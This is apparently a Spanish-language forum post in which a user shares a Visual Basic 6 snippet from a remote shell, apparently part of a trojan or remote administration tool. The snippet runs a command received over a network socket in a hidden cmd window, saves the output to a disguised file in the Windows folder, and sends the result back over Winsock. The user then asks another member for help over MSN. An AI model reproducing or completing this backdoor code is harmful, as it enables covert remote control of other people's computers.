Código:
Dim sCommand As String
sCommand = TextShell.Text
Kill Environ("windir") & "KB008.txt"
Sleep (500)
Shell "cmd /c " & data(1) & " > " & Environ("windir") & "KB008.txt", vbHide
Sleep (2000)
Open Environ("windir") & "KB008.txt" For Binary As #1
sCommand = Space$(LOF(1))
Get #1, , sCommand
Close #1
WS.SendData "ComandoShell|" & sCommand
Probe sin el : sCommand = TextShell.Text
Pero claramente te lo enviara en blanco.
Saludos!

Edit : KrakCar te agregue al msn por si me puedes ayudar, es que asi por el foro tardamos mucho.. Saludos!